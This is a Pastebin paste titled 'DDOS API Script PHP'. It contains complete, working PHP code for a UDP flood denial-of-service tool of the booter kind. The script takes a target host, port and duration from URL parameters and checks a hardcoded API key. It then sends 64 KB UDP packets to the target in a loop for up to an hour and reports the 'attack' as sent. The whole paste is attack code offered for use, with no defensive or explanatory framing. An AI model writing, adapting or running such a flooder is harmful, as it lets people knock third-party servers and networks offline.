Tero

[+] DDOS API Script PHP

Oct 30th, 2016
3,237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.92 KB | None | 0 0
  1. <?php
  2. # [+] List of variables
  3. $apikey = $_GET['apikey'];
  4. $host   = $_GET['host'];
  5. $port   = $_GET['port'];
  6. $execTM = $_GET['time'];
  7. $method = $_GET['method'];
  8.  
  9. # [+] Script Settings
  10. $maxBT   = "3601";
  11. $maxBTS  = "3,600 seconds.";
  12. $key     = "tero";
  13. $time    = time();
  14. $maxTM   = $time + $execTM;
  15. $packets = 0;
  16. set_time_limit(0);
  17. ignore_user_abort(FALSE);
  18.  
  19. # [+] Checking API Key
  20. if ($apikey == null) {
  21.     ob_end_clean();
  22.     echo 'Enter your API Key.';
  23. } else {
  24. }
  25.  
  26. # [+] Let's begin
  27. if ($apikey == $key) {
  28.     if ($host == null) {
  29.         echo "Invalid Format: Enter a host.<br/>Example usage: ?api=tero&host=127.0.0.1&port=80&time=10";
  30.     } else {
  31.         if ($port == null) {
  32.             echo "Invalid Format: Enter a port.<br/>Example usage: ?api=tero&host=127.0.0.1&port=80&time=10";
  33.         } else {
  34.             if ($time == null) {
  35.                 echo "Invalid Format: Enter boot time.<br/>Example usage: ?api=tero&host=127.0.0.1&port=80&time=10";
  36.             } else {
  37.                 if ($execTM >= $maxBT) {
  38.                     echo 'Your max boot time is ' . $maxBTS . '';
  39.                 } else {
  40.                     for ($i = 0; $i < 65535; $i++) {
  41.                         $out .= "X";
  42.                     }
  43.                     while (1) {
  44.                         $packets++;
  45.                         if (time() > $maxTM) {
  46.                             break;
  47.                         }
  48.                         # [+] Here is the action
  49.                        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
  50.                         if ($fp) {
  51.                             fwrite($fp, $out);
  52.                             fclose($fp);
  53.                         }
  54.                     }
  55.                     echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $execTM . ' second(s).';
  56.                 }
  57.             }
  58.         }
  59.     }
  60. } else {
  61.     echo 'Invalid API Key';
  62. }
  63. ?>
Advertisement
Add Comment
Please, Sign In to add comment